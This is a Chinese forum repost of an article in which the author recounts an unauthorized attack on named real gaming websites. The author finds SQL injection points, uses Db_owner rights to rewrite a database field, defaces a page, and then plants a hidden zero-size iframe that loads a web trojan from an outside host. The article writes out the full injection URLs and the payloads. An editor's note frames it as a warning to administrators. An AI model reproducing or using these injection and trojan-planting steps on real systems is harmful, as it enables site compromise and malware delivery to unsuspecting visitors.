找回密码
 注册
搜索
热搜: 回贴
微赢网络技术论坛 门户 数据库 查看内容

劫持数据库实现跨站攻击实例图解

2009-12-14 18:26| 发布者: admin| 查看: 161| 评论: 0|原作者: 江月

△编者:网络钓鱼(Phishing),并不......


  编者:网络钓鱼(Phishing),并不是一种新的入侵方法,但是它的危害范围却在逐渐扩大,并成为近期威胁网络安全的最大危害之一。随着媒体的揭露以及用户警惕性的提高,在邮件中附带恶意链接的方法正在逐步丧失它的垂钓成功率,于是“跨站攻击”的技术被更多人采用,本栏目近期就报道了多起此类事件。这种方法迫害的不仅仅是用户,更是无辜的商务站点,因为他们根本不知道发生了什么事情,直到用户找上门来,才发现自己的信誉已经被毁了。

  本文源于一位网友对其实施跨站攻击过程的详细描述,从中我们可以清楚了解到完成一次攻击所涉及的完整步骤及相关思路。需要特别注明的是,作者在被劫持网站植入了一个并不存在的链接,只是为了演示相应过程,编者也对文章进行了适当的编辑,目的是提醒网站管理人员对此作出必要的技术防范,而非指导某些不怀好意者采用此技术去攻击网站。


  攻击概述

  跨站攻击是指入侵者在远程Web页面的HTML代码中插入具有恶意目的的数据,使得用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行。正是这种被称为“鸡尾酒钓鱼术”的手段使商务网站的可信度大大降低,因为用户访问的是真正的商务站点,即使再细心也很难想到真实网站也会暗藏杀机。

  跨站攻击可能在真实网站上插入一段文字,也可能是偷取浏览者cookie信息的java脚本,更有甚者是植入一段利用IE漏洞的网页木马代码。这种方法与得到webshell后插入木马代码相比,实现起来要简单容易的多。

  实现跨站攻击的前提条件,是网页中要存在输入信息过滤不严的地方。在大型非互交型网站中,这种输入点一般不好找,所以直接从表面入手相当棘手。所以我们换个角度考虑,如果网站存在sql注入点的话,那结果就完全不同了。这里说的数据库是针对MSSQL数据库的(当然对mysql等数据库同时有效,不过处理相对更困难些),利用的还是让人厌烦却很有效的SQL注入漏洞,不过不需要admin权限,只要有Update权限就够了,一般Db_owner就有这个权限。我们直接修改数据库中的的信息,使得asp程序在调用数据库时,将修改后的网页木马代码显示在真实网站的网页中。下面就用实例来展示一下攻击全过程。
攻击过程

在浏览台湾游戏橘子站点(http://www.gamania.com)的时候,偶然发现了这个地方可以注入:http://fateasia.gamania.com/turtle/index.asp?sid=E00001。

这样的大站也能注入?于是抱着侥幸的心理拿出看家工具NBSI走一走,猜解出如下信息:







权限是Db_Woner,不言而喻,要想获得webshell首当其冲的方法便是通过Db_Woner的备份权限得到,不过这种方法对大型网站不是很适用,因为过于庞大的数据库使其成功率相对较低。不过,现在我们可以先试试再说,首先用读注册表的方法得到web物理路径:





拿到路径后自然就是backupwebshell了:





我没有研究过cyf的这个工具是如何判断int型和字符型数据的,所以就随手在Url中参数中加了个“'”,自认为是对整型数据的注入。下面我们看看结果如何:





失败,看来常规的攻击不会有什么新的突破,还是应该另谋他法。接下来我仔细的研究了一下网站中“占卜”栏目的网页,看到如下信息:





原来这是和www.fatesia.com合作建的,于是马上ping了一下这两个站点:





很明显,它们是在一个服务器上的。打开这个站点:





网站也挺大的,但同样存在注入点,而且使用的数据库和http://fateasia.gamania.com/是同一个数据库:





现在清楚了,原来这才是主站。那我backup的木马在这个站上吗?访问http://www.fateasia.com/asp.asp,返回“404”错误代码,看来也不在。

此时我忽然想,既然不能直接得到webshell,那有没有可能在不得到shell的前提下挂上网页木马或者是跨站攻击脚本呢?由于我对这个站点的数据库已经有了操作权限,在理论上应该是绝对可行的。如果真能实现,比起费时又费力得到shell才把木马挂上去,这种直接操作数据库进行跨站攻击的确是个应用更加广泛的方法。按照这个思路,我决定实践一下,看看是否能成功。

首先要找到asp中调用数据库的地方,一般动态变化的信息都应该是对数据库的调用。我选择了最明显的地方(一般经常更新的地方都会调用数据库里的信息)。如下:





这个红色的滚动条应该是调用的数据库里的信息。查看源代码:





注意图中选中的部分。我装了繁体字库,将选中的字体粘贴到一个本地网页文件里打开,在查看|编码|中选繁体中文,得到如下信息:





在数据库中查找这个信息,由于数据库相当大,得花费相当长的时间去查找:





虽然在NB中显示的是乱码,不过用IE就可以正常显示:





和原网页中的一模一样,应该就是这个地方了。为了证实,我update了数据库里这个字段的内容,使用如下命令:

http://www.fateasia.com/fate.asp?sid=H00050';update runtext set runtext=’acked by llikz
(http://www.hacker.com.cn)’;--


刷新网页:





看到了吗,已经成功的更新了数据库里的信息。不过如此简单的一句话就把这个网站的首页给改掉了,倒是的确让我感到有些“诧异”。下面再试着向数据库里注入恶意代码,我选择了一个网页木马:

http://www.fateasia.com/fate.asp?sid=H00050';update runtext set runtext=’test!!
〈/a〉〈/font〉〈/marquee〉〈iframe src=http://www.hacker.com.cn/muma.htm width=0 height=0 frameborder=0〉〈/iframe〉’;--


其中的〈/a〉〈/font〉〈/marquee〉是为了闭合前面的html标记,以便让植入网页的脚本执行。看看结果:





再来看看源代码:





的确把恶意脚本插入到了网页中。此间有一点需要注意,要确保注入语句的正确性,否则非但不会成功,反而可能对数据库造成破坏。至此,无须得到webshell,网页木马已经被植入到原网页中了。

结论

通过劫持数据库 来实现跨站攻击的方法确实可行,而且相对更为简便,换句话说就是危害范围会更广,也更需要网站管理人员小心防范。其实这种方法生成的网页木马隐蔽性并非很好,在插入代码后极可能会引起网页显示格式的变化,这就需要网管们不要轻易放过那些细小的安全疑点,就算是不能做到完全的防患于未然,能亡羊补牢也是好的,毕竟这种“真实网站的噩梦”还是越少越好。

最新评论

QQ|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )

GMT+8, 2024-9-29 15:20 , Processed in 0.194181 second(s), 12 queries , Gzip On, MemCache On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

返回顶部